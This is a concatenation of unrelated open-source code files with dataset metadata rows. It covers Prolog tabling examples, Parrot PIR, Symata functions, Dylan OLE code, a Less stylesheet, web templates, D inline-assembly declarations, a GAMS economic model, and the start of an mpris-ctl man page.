ICLP2014 submission - Example 1. member_1/2
Cyclic safe predicate with the use of instack/2 predicate.
*/
member_1(E, L) :-
member(E, L, []).
member(E, [E|_T], _).
member(_E, L, S) :-
instack(L, S),
!,
fail.
member(E, [H|T], S) :-
member(E, T, [[H|T]|S]).
/*
ICLP2014 submission - Example 2. member_2/2
Cyclic safe predicate with the use of tabling.
*/
:- table member_2/2.
member_2(E, [E|_T]).
member_2(E, [_H|T]) :-
member_2(E, T).
/*
ICLP2014 submission - Example 3. bin/1
*/
:- table bin/1.
:- tabling_mode(bin/1, coinductive).
% The two above directives are the equivalent of the :- coinductive bin/1 directive
bin([0|T]) :- bin(T).
bin([1|T]) :- bin(T).
/*
ICLP2014 submission - Example 4. comember/2
*/
:- table comember/2.
:- tabling_mode(comember/2, coinductive).
% The two above directives are the equivalent of the :- coinductive comember/2 directive
comember(H, L) :-
drop(H, L, L1),
comember(H, L1).
:- table(drop/3).
drop(H, [H|T], T).
drop(H, [_|T], T1) :- drop(H, T, T1).
%%%%%%%%%%
/*
ICLP2014 submission - Example 5. alternative drop_2/3 definition.
This definition uses instack instead of tabling.
*/
drop_2(E, L, NL) :-
drop(E, L, NL, []).
drop(_E, L, _NL, S) :-
instack(L, S),
!,
fail.
drop(E, [E|T], T, _).
drop(E, [H|T], T1, S) :-
drop(E, T, T1, [[H|T]|S]).
/*
ICLP2014 submission - Example 6. canonical_term/2
The following predicate takes a rational term and returns
the same rational term in canonical form.
*/
canonical_term(Term, Canonical) :-
Term =.. InList,
decompose_cyclic_term(Term, InList, OutList, OpenEnd, [Term]),
Canonical =.. OutList,
Canonical = OpenEnd.
decompose_cyclic_term(_CyclicTerm, [], [], _OpenEnd, _Stack).
decompose_cyclic_term(CyclicTerm, [Term|Tail], [Term|NewTail], OpenEnd, Stack) :-
acyclic_term(Term), !,
decompose_cyclic_term(CyclicTerm, Tail, NewTail, OpenEnd, Stack).
decompose_cyclic_term(CyclicTerm, [Term|Tail], [OpenEnd|NewTail], OpenEnd, Stack) :-
CyclicTerm == Term, !,
decompose_cyclic_term(CyclicTerm, Tail, NewTail, OpenEnd, Stack).
decompose_cyclic_term(CyclicTerm, [Term|Tail], [Canonical|NewTail], OpenEnd, Stack) :-
\+ instack(Term, Stack), !,
Term =.. InList,
decompose_cyclic_term(Term, InList, OutList, OpenEnd2, [Term|Stack]),
Canonical =.. OutList,
( Canonical = OpenEnd2,
Canonical == Term,
!
; OpenEnd2 = OpenEnd
),
decompose_cyclic_term(CyclicTerm, Tail, NewTail, OpenEnd, Stack).
decompose_cyclic_term(CyclicTerm, [_Term|Tail], [OpenEnd|NewTail], OpenEnd, Stack) :-
decompose_cyclic_term(CyclicTerm, Tail, NewTail, OpenEnd, Stack).
| Prolog | 5 | ryandesign/yap | misc/ICLP2014_examples.yap | [
"Artistic-1.0-Perl",
"ClArtistic"
] |
=head1 NAME
PCT - Parrot compiler toolkit
=head1 DESCRIPTION
This file loads all of the modules typically used in the
standard Parrot Compiler Toolkit.
=cut
.namespace [ 'PCT' ]
.sub '__onload' :load :init
load_bytecode 'PCT/Grammar.pbc'
load_bytecode 'PCT/PAST.pbc'
# we don't need to explicitly load HLLCompiler, because
# it's already loaded by PAST.pbc
.return ()
.end
=head1 AUTHOR
Patrick Michaud <pmichaud@pobox.com> is the author and maintainer.
Please send patches and suggestions to the Parrot porters or
Perl 6 compilers mailing lists.
=head1 HISTORY
2007-11-29 Refactored PCT into separate modules for grammar, past, compiler
2006-11-20 Patrick Michaud added first draft of POD documentation.
=head1 COPYRIGHT
Copyright (C) 2006-2008, Parrot Foundation.
=cut
# Local Variables:
# mode: pir
# fill-column: 100
# End:
# vim: expandtab shiftwidth=4 ft=pir:
| Parrot Internal Representation | 4 | winnit-myself/Wifie | compilers/pct/PCT.pir | [
"Artistic-2.0"
] |
## This code is autoloaded when trigger symbols are encountered when reading input.
## See src/autoload.jl for autoloading code and list of symbols that trigger it.
## These protected symbols must be entered in src/protected_symbols. So, three places.
## Symbols listed in src/protected_symbols are not returned by UserSyms().
## Some of these could easily be written in Julia. But, it is a good idea for Symata to eat its own dogfood.
### Through
Unprotect(Through)
Through(h_(a__)(args__),h_) := h(Apply(Sequence,Map( ηηη -> Apply(ηηη,[args]), [a])))
Through(h_(a__)(args__)) := h(Apply(Sequence,Map( ηηη -> Apply(ηηη,[args]), [a])))
Protect(Through)
### Operate
Unprotect(Operate)
Operate(p_, f_(x__)) := p(f)(x)
Protect(Operate)
### ExpToTrig
Unprotect(ExpToTrig)
ExpToTrig(ex_) := ReplaceRepeated(ex, E^(x_) => Cosh(x) + Sinh(x))
Protect(ExpToTrig)
### ExpandCos, ExpandSin, ExpandSinCos
Unprotect(ExpandSinRule, ExpandCosRule, ExpandCos, ExpandSin, ExpandSinCos)
ExpandSinRule := Sin(a_ + b__) .> Cos(Plus(b))*Sin(a) + Cos(a)*Sin(Plus(b))
ExpandCosRule := Cos(a_ + b__) .> Cos(a)*Cos(Plus(b)) - Sin(a)*Sin(Plus(b))
ExpandCos(ex_) := ReplaceRepeated(ex, ExpandCosRule)
ExpandSin(ex_) := ReplaceRepeated(ex, ExpandSinRule)
ExpandSinCos(ex_) := ex .// [ExpandSinRule, ExpandCosRule]
Protect(ExpandSinRule, ExpandCosRule, ExpandCos, ExpandSin, ExpandSinCos)
### Array
Unprotect(Array)
Array(f_, n_Integer) := Map(f,Range(n))
Array(f_, n_Integer, r_Integer) := Map(f,Range(r,n+r-1))
Array(f_, lims_List) := Module([vars = Array(x -> Unique(), Length(lims))],
(Null,
Table(Evaluate(Apply(f,vars)), Evaluate(Splat(Transpose([vars,lims]))))))
Array(f_, n_Integer, [a_,b_]) := Map(f, Range(a,b,(b-a)/n))
## TODO: reimplement these as above.
Array(f_, [n1_Integer, n2_Integer], [r1_Integer, r2_Integer] ) := Module([i ], (Null, Table(f(i,j), [i,r1,n1+r1-1], [j,r2,n2+r2-1])))
Array(f_, [n1_Integer, n2_Integer, n3_Integer], [r1_Integer, r2_Integer, r3_Integer] ) :=
Module([i ], (Null, Table(f(i,j,k), [i,r1,n1+r1-1], [j,r2,n2+r2-1], [k,r3,n3+r3-1])))
Array(f_, [n1_Integer, n2_Integer], [[a1_,b1_], [a2_,b2_] ] ) := Module([i ], (Null, Table(f(i,j), [i, Range(a1,b1,(b1-a1)/n1)], [j, Range(a2,b2,(b2-a2)/n2)])))
Protect(Array)
### Subdivide
@sjdoc Subdivide """
Subdivide(n)
is equivalent to `Range(0,n)/n`.
Subdivide(xmax, n)
is equivalent to `xmax*Range(0,n)/n`
Subdivide(xmin, xmax, n)
is equivalent to `xmin + (xmax-xmin)*Range(0,n)/n`.
"""
Unprotect(Subdivide)
Subdivide(n_) := Range(0,n)/n
Subdivide(xmax_, n_) := xmax*Range(0,n)/n
Subdivide(xmin_, xmax_, n_) := xmin + (xmax-xmin)*Range(0,n)/n
Protect(Subdivide)
### TakeDrop
## Note: this is wrong for many `seq's`
Unprotect(TakeDrop)
TakeDrop(x_, seq_) := [Take(x,seq), Drop(x,seq)]
TakeDrop(x_, seq1_, seq2_) := [Take(x,seq1,seq2), Drop(x,seq1,seq2)]
Protect(TakeDrop)
### ArrayDepth
Unprotect(ArrayDepth)
ArrayDepth(x_) := Length(Dimensions(x))
Protect(ArrayDepth)
### TensorRank
Unprotect(TensorRank)
TensorRank(x_) := Length(Dimensions(x))
Protect(TensorRank)
### Divide
Unprotect(Divide)
Divide(x_, y_) := x/y
Protect(Divide)
## ListCorrelate and ListConvolve are ok here for symbolic elements. For numeric, they are very slow.
## These are mostly for demonstration.
### ListCorrelate
Unprotect(ListCorrelate)
ListCorrelate(ker_List, list_List) := Module([pl,zzz],
(
pl = Partition(list, Length(ker), 1),
Map( Function(zzz, Dot(ker,zzz)), pl)))
Protect(ListCorrelate)
### ListConvolve
Unprotect(ListConvolve)
ListConvolve(ker_List, list_List) := Module([pl,zzz,rker],
(
pl = Partition(list, Length(ker), 1),
rker = Reverse(ker),
Map( Function(zzz, Dot(rker,zzz)), pl)))
Protect(ListConvolve)
### Accumulate
Unprotect(Accumulate)
Accumulate(list_) := Rest(FoldList(Plus,0,list))
Protect(Accumulate)
### NestWhile
Unprotect(NestWhile)
NestWhile(f_,ex_,test_) := Module([res=f(ex)], (Null, While( test(res), res = f(res)), res))
Protect(NestWhile)
### NestWhileList
Unprotect(NestWhileList)
NestWhileList(f_,ex_,test_) := Module([res=f(ex), list], (list=[ex,res], While( test(res),( res = f(res), Push!(list,res)) ), list))
Protect(NestWhileList)
### NextPrime
Unprotect(NextPrime)
NextPrime(x_Integer) := NestWhile( zz -> zz + 1 , x, yy -> Not(PrimeQ(yy)))
Protect(NextPrime)
### FixedPoint
Unprotect(FixedPoint)
FixedPoint(f_,ex_) := Module([res = f(ex), res1],
(While(
res !== res1,
(res1 = res,
res = f(res1))) , res))
FixedPoint(f_,ex_, max_) := Module([res = f(ex), res1, n = 0],
(While(
res !== res1,
(
n += 1,
If(n>max,Break()),
res1 = res,
res = f(res1))) , res))
FixedPoint(f_,ex_, Rule(SameTest, test_)) := FixedPoint(f,ex,Infinity,Rule(SameTest, test_))
FixedPoint(f_,ex_, max_, Rule(SameTest, test_)) := Module([res = f(ex), res1, n = 0],
(While(
! test(res,res1),
(
n += 1,
If(n>max,Break()),
res1 = res,
res = f(res1))) , res))
Protect(FixedPoint)
### FlattenAt
Unprotect(FlattenAt)
@sjdoc FlattenAt """
FlattenAt(list,n)
flattens a sublist at position `n` in `list`.
FlattenAt(list,[i,j,..]).
flatten part at position `[i,j,...]`.
FlattenAt(list,[[i,j,..],[k,l,...]])
flatten parts at multiple positions.
FlattenAt(positions)
returns an operator that flattens at `positions`.
"""
FlattenAt(list_, [pos__Integer]) := ReplacePart(list, [pos] => Splat(Flatten(list[pos])))
FlattenAt(list_, pos_Integer) := ReplacePart(list, pos => Splat(Flatten(list[pos])))
FlattenAt(list_, [posns__List]) := ReplacePart(list, Map(Function(p, p => Splat(Flatten(list[Splat(p)]))), [posns]))
@curry_second FlattenAt
Protect(FlattenAt)
### MapAt
@sjdoc MapAt """
MapAt(f,expr,n)
apply `f` to the part at position `n` in `expr`.
MapAt(f,expr,[i,j,..]).
apply `f` to the part at position `[i,j,...]`.
MapAt(f,expr,[[i,j,..],[k,l,...]])
apply `f` to parts at multiple positions.
MapAt(f,positions)
returns an operator that applies `f` at `positions`.
"""
Unprotect(MapAt)
MapAt(f_, list_, [pos__Integer]) := ReplacePart(list, [pos] => f(list[pos]))
MapAt(f_, list_, pos_Integer) := ReplacePart(list, pos => f(list[pos]))
MapAt(f_, list_, [posns__List]) := ReplacePart(list, Map(Function(p, p => f(list[Splat(p)])), [posns]))
Protect(MapAt)
@curry_split MapAt
### Normal
Unprotect(Normal)
Normal(ex_) := ReplaceAll(ex, Order(x__) => Sequence())
Protect(Normal)
| Objective-J | 5 | UnofficialJuliaMirrorSnapshots/Symata.jl-a906b1d5-d016-55c4-aab3-8a20cba0db2a | symsrc/autoloaded.sj | [
"MIT"
] |
Module: OLE-Server
Synopsis: in-code implementation of attributes formerly deferred to registry.
Copyright: Original Code is Copyright (c) 1995-2004 Functional Objects, Inc.
All rights reserved.
License: See License.txt in this distribution for details.
Warranty: Distributed WITHOUT WARRANTY OF ANY KIND
define COM-interface <CEnumXXXX> ( <IUnknown> )
slot enum-data :: <sequence>, required-init-keyword: data:;
slot enum-position :: <fixnum>, init-value: 0;
end <CEnumXXXX>;
define method terminate ( this :: <CEnumXXXX> ) => ()
next-method();
this.enum-data := #(); // let the data be GC'd
end method terminate;
define function IEnumXXXX/Next (this :: <CEnumXXXX>,
requested-number :: <fixnum>,
result-array :: <C-statically-typed-pointer>)
=> ( status :: <HRESULT>, count :: <fixnum> )
let data-sequence = this.enum-data;
let count :: <fixnum> = 0;
let start-pos :: <fixnum> = this.enum-position;
for ( i from start-pos below
min(start-pos + requested-number, data-sequence.size) )
enum-set-next(pointer-value-address(result-array, index: i),
data-sequence[i]);
count := count + 1;
end for;
this.enum-position := start-pos + count;
values ( if ( count = requested-number ) $S-OK else $S-FALSE end if,
count )
end IEnumXXXX/Next;
define function IEnumXXXX/Skip (this :: <CEnumXXXX>, count :: <fixnum>)
=> ( status :: <HRESULT> )
let new-position = this.enum-position + count;
let length = this.enum-data.size;
if ( new-position > length )
this.enum-position := length;
$S-FALSE
else
this.enum-position := new-position;
$S-OK
end if
end IEnumXXXX/Skip;
define function IEnumXXXX/Reset (this :: <CEnumXXXX>)
=> ( status :: <HRESULT> )
this.enum-position := 0;
$S-OK
end IEnumXXXX/Reset;
define function IEnumXXXX/Clone (this :: <CEnumXXXX>)
=> ( status :: <HRESULT>, enumerator :: <CEnumXXXX> );
let enumerator = make(this.object-class, data: this.enum-data);
AddRef(enumerator);
values( $S-OK, enumerator )
end IEnumXXXX/Clone;
define method enum-set-next( dest-ptr :: <C-statically-typed-pointer>,
source-ptr :: <C-statically-typed-pointer> ) => ()
check-type(source-ptr, dest-ptr.object-class);
%memcpy(dest-ptr, source-ptr,
size-of(dest-ptr.object-class.referenced-type));
end method;
define method enum-set-next( dest-ptr :: <C-int*>,
source :: <integer> ) => ()
pointer-value(dest-ptr) := source;
end method;
define COM-interface <CEnumFORMATETC> ( <IEnumFORMATETC>, <CEnumXXXX> )
end <CEnumFORMATETC>;
define class <FORMATETC-info> ( <object> )
constant slot fi-format :: <fixnum>, required-init-keyword: format:;
constant slot fi-aspect :: <fixnum>, required-init-keyword: aspect:;
constant slot fi-tymed :: <fixnum>, required-init-keyword: tymed:;
end class;
//define constant $format-info =
// make(<FORMATETC-info>, format: $CF-METAFILEPICT,
// aspect: $DVASPECT-CONTENT, tymed: logior($TYMED-MFPICT, $TYMED-ENHMF));
define method enum-set-next( formatetc :: <LPFORMATETC>,
source :: <FORMATETC-info> ) => ()
formatetc.cfFormat-value := source.fi-format;
formatetc.ptd-value := null-pointer(<LPDVTARGETDEVICE>);
formatetc.dwAspect-value := source.fi-aspect;
formatetc.lindex-value := -1;
formatetc.tymed-value := source.fi-tymed;
end method;
// Enumerates the formats supported by this object.
define method IDataObject/EnumFormatEtc(this :: <CDataObject>,
direction :: <fixnum> )
=> ( status :: <HRESULT>, enumerator :: <CEnumFORMATETC> );
Output-Debug-String("IDataObject/EnumFormatEtc ");
block(return)
let data :: <sequence> =
select ( direction )
$DATADIR-GET =>
Output-Debug-String("$DATADIR-GET\r\n");
OLE-part-formats-for-get(this.get-obj);
$DATADIR-SET =>
Output-Debug-String("$DATADIR-SET\r\n");
OLE-part-formats-for-set(this.get-obj);
otherwise =>
Output-Debug-String("$E-INVALIDARG\r\n");
return($E-INVALIDARG, $null-interface)
end select;
let enumerator = make(<CEnumFORMATETC>, data: data);
AddRef(enumerator);
values( $S-OK, enumerator )
end block
end method IDataObject/EnumFormatEtc;
define open generic OLE-part-formats-for-get (obj) => (formats :: <list>);
define open generic OLE-part-formats-for-set (obj) => (formats :: <list>);
define method OLE-part-formats-for-get (obj :: <basic-ole-server>)
=> (formats :: <list>)
list(make(<FORMATETC-info>,
format: $CF-METAFILEPICT,
aspect: $DVASPECT-CONTENT,
tymed: logior($TYMED-MFPICT, $TYMED-ENHMF)))
end method OLE-part-formats-for-get;
define method OLE-part-formats-for-set (obj :: <basic-ole-server>)
=> (formats :: <list>)
#()
end method OLE-part-formats-for-set;
define method IEnumFORMATETC/Next (this :: <CEnumFORMATETC>,
requested-number :: <fixnum>,
result-array :: <LPFORMATETC>)
=> ( status :: <HRESULT>, count :: <fixnum> )
IEnumXXXX/Next(this, requested-number, result-array)
end IEnumFORMATETC/Next;
define method IEnumFORMATETC/Skip (this :: <CEnumFORMATETC>, count :: <fixnum>)
=> ( status :: <HRESULT> )
IEnumXXXX/Skip(this, count)
end IEnumFORMATETC/Skip;
define method IEnumFORMATETC/Reset (this :: <CEnumFORMATETC>)
=> ( status :: <HRESULT> )
IEnumXXXX/Reset(this)
end IEnumFORMATETC/Reset;
define method IEnumFORMATETC/Clone (this :: <CEnumFORMATETC>)
=> ( status :: <HRESULT>, enumerator :: <CEnumFORMATETC> );
IEnumXXXX/Clone(this)
end IEnumFORMATETC/Clone;
| Dylan | 4 | kryptine/opendylan | sources/ole/ole-server/enums.dylan | [
"BSD-2-Clause"
] |
/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */
// Modified to Chrome only.
//
// Remove default margin.
//
body {
margin: 0;
}
// HTML5 display definitions
// ==========================================================================
//
// 1. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
//
audio,
canvas,
progress,
video {
vertical-align: baseline; // 1
}
//
// Prevent modern browsers from displaying `audio` without controls.
//
audio:not([controls]) {
display: none;
}
// Links
// ==========================================================================
//
// Improve readability of focused elements when they are also in an
// active/hover state.
//
a:active,
a:hover {
outline: 0;
}
// Text-level semantics
// ==========================================================================
//
// Address styling not present in IE 8/9/10/11, Safari, and Chrome.
//
abbr[title] {
border-bottom: 1px dotted;
}
//
// Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
//
b,
strong {
font-weight: bold;
}
//
// Address styling not present in Safari and Chrome.
//
dfn {
font-style: italic;
}
//
// Address variable `h1` font-size and margin within `section` and `article`
// contexts in Firefox 4+, Safari, and Chrome.
//
h1 {
font-size: 2em;
margin: 0.67em 0;
}
//
// Address inconsistent and variable font size in all browsers.
//
small {
font-size: 80%;
}
//
// Prevent `sub` and `sup` affecting `line-height` in all browsers.
//
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sup {
top: -0.5em;
}
sub {
bottom: -0.25em;
}
// Grouping content
// ==========================================================================
//
// Address differences between Firefox and other browsers.
//
hr {
box-sizing: content-box;
height: 0;
}
//
// Contain overflow in all browsers.
//
pre {
overflow: auto;
}
//
// Address odd `em`-unit font size rendering in all browsers.
//
code,
kbd,
pre,
samp {
font-family: monospace, monospace;
font-size: 1em;
}
// Forms
// ==========================================================================
//
// Known limitation: by default, Chrome and Safari on OS X allow very limited
// styling of `select`, unless a `border` property is set.
//
//
// 1. Correct color not being inherited.
// Known issue: affects color of disabled elements.
// 2. Correct font properties not being inherited.
// 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
//
button,
input,
optgroup,
select,
textarea {
color: inherit; // 1
font: inherit; // 2
margin: 0; // 3
}
//
// Address inconsistent `text-transform` inheritance for `button` and `select`.
// All other form control elements do not inherit `text-transform` values.
//
button,
select {
text-transform: none;
}
//
// 1. Improve usability and consistency of cursor style between image-type
// `input` and others.
//
button,
input[type="reset"],
input[type="submit"] {
cursor: pointer; // 1
}
//
// Re-set default cursor for disabled elements.
//
button[disabled],
html input[disabled] {
cursor: default;
}
//
// Fix the cursor style for Chrome's increment/decrement buttons. For certain
// `font-size` values of the `input`, it causes the cursor style of the
// decrement button to change from `default` to `text`.
//
input[type="number"]::-webkit-inner-spin-button,
input[type="number"]::-webkit-outer-spin-button {
height: auto;
}
//
// 1. Address `appearance` set to `searchfield` in Safari and Chrome.
// 2. Address `box-sizing` set to `border-box` in Safari and Chrome.
//
input[type="search"] {
-webkit-appearance: textfield; // 1
box-sizing: content-box; //2
}
//
// Remove inner padding and search cancel button in Safari and Chrome on OS X.
// Safari (but not Chrome) clips the cancel button when the search input has
// padding (and `textfield` appearance).
//
input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
//
// Define consistent border, margin, and padding.
//
fieldset {
border: 1px solid;
margin: 0 2px;
padding: 0.35em 0.625em 0.75em;
}
//
// 1. Remove padding so people aren't caught out if they zero out fieldsets.
//
legend {
padding: 0; // 1
}
//
// Don't inherit the `font-weight` (applied by a rule above).
// NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
//
optgroup {
font-weight: bold;
}
// Tables
// ==========================================================================
//
// Remove most spacing between table cells.
//
table {
border-collapse: collapse;
border-spacing: 0;
}
td,
th {
padding: 0;
}
| Less | 4 | pyrolabs/atom | static/normalize.less | [
"MIT"
] |
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
function out(id, msg) {
var h1 = document.createElement('h1');
h1.setAttribute('id', id);
h1.innerHTML = msg;
document.body.appendChild(h1);
}
out('inject_start', inject_start);
</script>
<webview src="http://localhost:{port}/iframe.html"></webview>
</body>
</html>
| Smarty | 4 | frank-dspeed/nw.js | test/sanity/issue4877-inject-webview/index.tpl | [
"MIT"
] |
-@ val googleAnalyticsScript: String
-@ val plist: List[(String,String,Int,Int)]
-@ val lang: String
-@ val localizationStrings: lv.ddgatve.math.LocalizationStrings
-@ val olympiadTitle: String
-@ val indexMap: Map[String,List[(String,String,String,String,String)]]
-@ val abbrevMap: Map[String,Map[String,String]]
-@ val languageOpts: List[(String,String)]
-@ val topMenu: Map[String,String]
-@ val menuKeys: List[String]
-@ val lvamoMap: scala.collection.immutable.TreeMap[String,String]
-@ val lvsolMap: scala.collection.immutable.TreeMap[String,String]
%html
%head
%title = localizationStrings.titleProblemSolutions(lang)
%meta{"http-equiv"=>"content-type", :content=>"text/html;charset=utf-8"}
%link{:rel=>"stylesheet", :type=>"text/css", :href=>"style1.css"}
%body
- render("nav.scaml")
%p{:style=>"padding-top:0px;padding-bottom:0px;margin-top:0px;margin-bottom:0px;"}
- if (languageOpts.size > 0)
%small
- for (opt <- languageOpts)
- if (opt._1.endsWith("(" + lang + ")"))
%b = opt._1
- else
%a{:href=>{opt._2}} = opt._1
%h1 = unescape(olympiadTitle)
%table{:cellspacing=>"0"}
%tr{:style=>"vertical-align:top"}
%td
%table{:cellspacing=>"0", :class=>"index"}
- for (i <- 0 to (plist.size-1))
%tr
- if (plist(i)._1.length == 0)
- if (lang == "en")
%th = "Grade " + plist(i)._3
- if (lang == "lv")
%th = plist(i)._3 + ". klase"
- else
%td
%a{:href=>{plist(i)._1 + ".html"}}<
- if (lang == "en")
= "Grade " + plist(i)._3 + ", Problem " + plist(i)._4
- if (lang == "lv")
= plist(i)._3 + ".klases " + plist(i)._4 + ".uzdevums"
= unescape(" " + plist(i)._2)
%p
%a{:href=>"https://www.youtube.com/user/kalvisapsitis1/videos"}< = localizationStrings.moreVideos(lang)
%script = unescape(googleAnalyticsScript)
| Scaml | 3 | kapsitis/ddgatve-stat | src/main/resources/problemlist-lv.scaml | [
"Apache-2.0"
] |
module ldc.llvmasm;
struct __asmtuple_t(T...)
{
T v;
}
pragma(LDC_inline_asm)
{
void __asm()(const(char)[] asmcode, const(char)[] constraints, ...) pure nothrow @nogc;
T __asm(T)(const(char)[] asmcode, const(char)[] constraints, ...) pure nothrow @nogc;
void __asm_trusted()(const(char)[] asmcode, const(char)[] constraints, ...) @trusted pure nothrow @nogc;
T __asm_trusted(T)(const(char)[] asmcode, const(char)[] constraints, ...) @trusted pure nothrow @nogc;
template __asmtuple(T...)
{
__asmtuple_t!(T) __asmtuple(const(char)[] asmcode, const(char)[] constraints, ...);
}
}
/++
+ Calls a function whose body is written in the LLVM assembly language (IR).
+
+ Template params:
+ s = the LLVM IR function body code
+ R = the function return type
+ P... = the types of the function arguments
+
+ If the return type is `void` then `ret void` is automatically added at the
+ end of the function body by LDC.
+
+ Example:
+ ---
+ import ldc.llvmasm;
+ int add(int a, int b)
+ {
+ return __ir!(`%r = add i32 %0, %1
+ ret i32 %r`, int)(a, b);
+ }
+ ---
+/
pragma(LDC_inline_ir)
R __ir(string s, R, P...)(P params) @trusted nothrow @nogc;
/// Ditto
pragma(LDC_inline_ir)
R __ir_pure(string s, R, P...)(P params) @trusted nothrow @nogc pure;
/++
+ Extended inline IR, see __ir.
+ Calls a function whose body is written in the LLVM assembly language (IR).
+
+ Template params:
+ prefix = LLVM IR to be put _before_ the IR function definition
+ code = the LLVM IR function body code
+ suffix = LLVM IR to be put _after_ the IR function definition
+ R = the function return type
+ P... = the types of the function arguments
+
+ Example:
+ ---
+ import ldc.llvmasm;
+ alias __irEx!("", "store i32 %1, i32* %0, !nontemporal !0", "!0 = !{i32 1}", void, int*, int) nontemporalStore;
+ ---
+/
pragma(LDC_inline_ir)
R __irEx(string prefix, string code, string suffix, R, P...)(P) @trusted nothrow @nogc;
/// Ditto
pragma(LDC_inline_ir)
R __irEx_pure(string prefix, string code, string suffix, R, P...)(P) @trusted nothrow @nogc pure;
| D | 4 | mitchblank/druntime | src/ldc/llvmasm.di | [
"BSL-1.0"
] |
# ======================================================================================================================
# Model definition
# ======================================================================================================================
# In this file we define the sets, variables, and equations that comprise the model.
# The variables and equations are organized in groups of variable and blocks of equation.
# We combine the module-specific groups into bigger groups.
# Finally, we combine the blocks of equations to get the basic model.
# ======================================================================================================================
# Functions
# ======================================================================================================================
$IMPORT functions.gms
# ======================================================================================================================
# Variables
# ======================================================================================================================
# ----------------------------------------------------------------------------------------------------------------------
# Variable definitions
# ----------------------------------------------------------------------------------------------------------------------
@import_from_modules("variables")
# ----------------------------------------------------------------------------------------------------------------------
# Group compilation
# ----------------------------------------------------------------------------------------------------------------------
# Endogenous variables
# We combine the endo groups from each module into a group of all endogenous variables.
$GROUP G_Endo
G_exports_endo
G_labor_market_endo
G_pricing_endo
G_production_private_endo
G_production_public_endo
G_finance_endo
G_consumers_endo
G_government_endo
G_GovRevenues_endo
G_GovExpenses_endo
G_taxes_endo
G_aggregates_endo
G_IO_endo
G_HHincome_endo
G_struk_endo
;
# To make growth and inflation adjustment easier, we create groups for all prices, quantities, and values respectively.
$GROUP G_prices # Variables that should be adjusted for inflation
G_exports_prices
G_labor_market_prices
G_pricing_prices
G_production_private_prices
G_production_public_prices
G_finance_prices
G_consumers_prices
G_government_prices
G_GovRevenues_prices
G_GovExpenses_prices
# G_taxes_prices
G_aggregates_prices
G_IO_prices
G_HHincome_prices
G_struk_prices
G_post_prices
;
$GROUP G_quantities # Variables that should be adjusted for general productivity growth
G_exports_quantities
G_labor_market_quantities
G_pricing_quantities
G_production_private_quantities
G_production_public_quantities
G_consumers_quantities
G_finance_quantities
G_government_quantities
G_GovRevenues_quantities
G_GovExpenses_quantities
# G_taxes_quantities
G_aggregates_quantities
G_IO_quantities
G_HHincome_quantities
G_struk_quantities
G_post_quantities
;
$GROUP G_values # Variables that should both be adjusted for inflation and general productivity growth
G_exports_values
G_labor_market_values
G_pricing_values
G_production_private_values
G_production_public_values
G_consumers_values
G_finance_values
G_government_values
G_GovRevenues_values
G_GovExpenses_values
G_taxes_values
G_aggregates_values
G_IO_values
G_HHincome_values
G_struk_values
G_post_values
;
# Group of variables that we force the solver to keep strictly positive.
$GROUP G_lower_bound # Variables with only a lower bound close to zero
qKLB, qY, qR, qX, qBNP, qBVT,
srMatch, fDeltag, sfDeltag, rOpslag2soeg, srOpslag2soeg
uh, hLHh
;
$GROUP G_zero_bound # Variables with a lower bound very close to zero
nSoegBaseHh, srJobFinding, snSoegBaseHh, qCRxRef, qNytte, qFormueBase, qArvBase
pK, pBVT, qCR, mUC, EmUC, qBolig, qBoligRxRef, qBoligR, mUBolig, uR, uKLB, uL, uK, uKL, pKLB, pKL
;
$GROUP G_lower_upper_bound # Variables bounded closer to 1 (to avoid negative prices and chain indices going to infinity)
G_prices, rKUdn, rpIOm2pIOy, rpM2pXm, -G_lower_bound, -G_zero_bound
-pI$(sameas[i_,'iL']), -pI_s$(sameas[i_,'iL']), -pIO$(sameas[d_,'iL']), -pIOy$(sameas[d_,'iL']) # Negative in 'data' before 1999
;
$GROUP G_unit_interval_bound # Variables bounded between 0 and 1
uBolig,
;
# ======================================================================================================================
# Equations
# ======================================================================================================================
# Equations are defined in each module and organized in "blocks". They are imported here.
@import_from_modules("equations")
# ----------------------------------------------------------------------------------------------------------------------
# Main model
# ----------------------------------------------------------------------------------------------------------------------
# We define the model as the combination of equation blocks from each imported module
$GROUP G_Endo
G_exports_endo
G_labor_market_endo
G_pricing_endo
G_production_private_endo
G_production_public_endo
G_finance_endo
G_consumers_endo
G_government_endo
G_GovRevenues_endo
G_GovExpenses_endo
G_taxes_endo
G_aggregates_endo
G_IO_endo
G_HHincome_endo
G_struk_endo
;
$MODEL M_base
B_taxes
B_exports
B_production_private
B_production_public
B_finance
B_pricing
B_labor_market
B_consumers
B_government
B_GovRevenues
B_GovExpenses
B_IO
B_aggregates
B_HHincome
B_struk
;
# ======================================================================================================================
# Read baseline and parameters from GDX file
# ======================================================================================================================
execute_load "Gdx\stiliseret_grundforloeb.gdx"
$LOOP All:, {name} $ENDLOOP
$LOOP pG_dummies:, {name} $ENDLOOP
, snSocFraBesk, snSocResidual
;
# ======================================================================================================================
# Tests
# ======================================================================================================================
set_time_periods(2025, %terminal_year%);
# Aggregation tests
$IMPORT tests.gms;
# ----------------------------------------------------------------------------------------------------------------------
# Zero shock - Abort if a zero shock changes any variables significantly
# ----------------------------------------------------------------------------------------------------------------------
$GROUP G_ZeroShockTest All, -dArv;
@save(G_ZeroShockTest)
$FIX All; $UNFIX G_endo;
@solve(M_base);
$FIX All; $UNFIX G_post_endo;
@solve(B_post);
@assert_no_difference(G_ZeroShockTest, 1e-6, "Zero shock changed variables significantly.");
| GAMS | 5 | gemal/MAKRO | Model/model.gms | [
"MIT"
] |
MPRIS-CTL(1)
# NAME
*mpris-ctl* - MPRIS media-player control utility
# SYNOPSIS
mpris-ctl [OPTIONS...] [COMMAND] [format string]
# DESCRIPTION
*mpris-ctl* is a control utility for any media-player that conforms to the *MPRIS D-Bus Interface Specification*[1]
# OPTIONS
*--player* active | inactive | <name,...>
Specifies which players the command should be addressed to. The valid values are:
*active*
all players that are currently in _Playing_ state.
*inactive*
all players that are currently in _Stopped_ or _Paused_ state.
<name...>
specific player names, separated by spaces.
If the option is absent we consider all the players, active and inactive.
# COMMANDS
*help*
This help message
*play*
Begin playing
*pp*
Toggle play or pause
*pause*
Pause the player
*stop*
